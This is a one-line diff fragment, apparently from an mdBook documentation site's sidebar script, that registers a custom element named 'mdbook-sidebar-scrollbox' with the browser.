+window.customElements.define("mdbook-sidebar-scrollbox", MDBookSidebarScrollbox);
\ No newline at end of file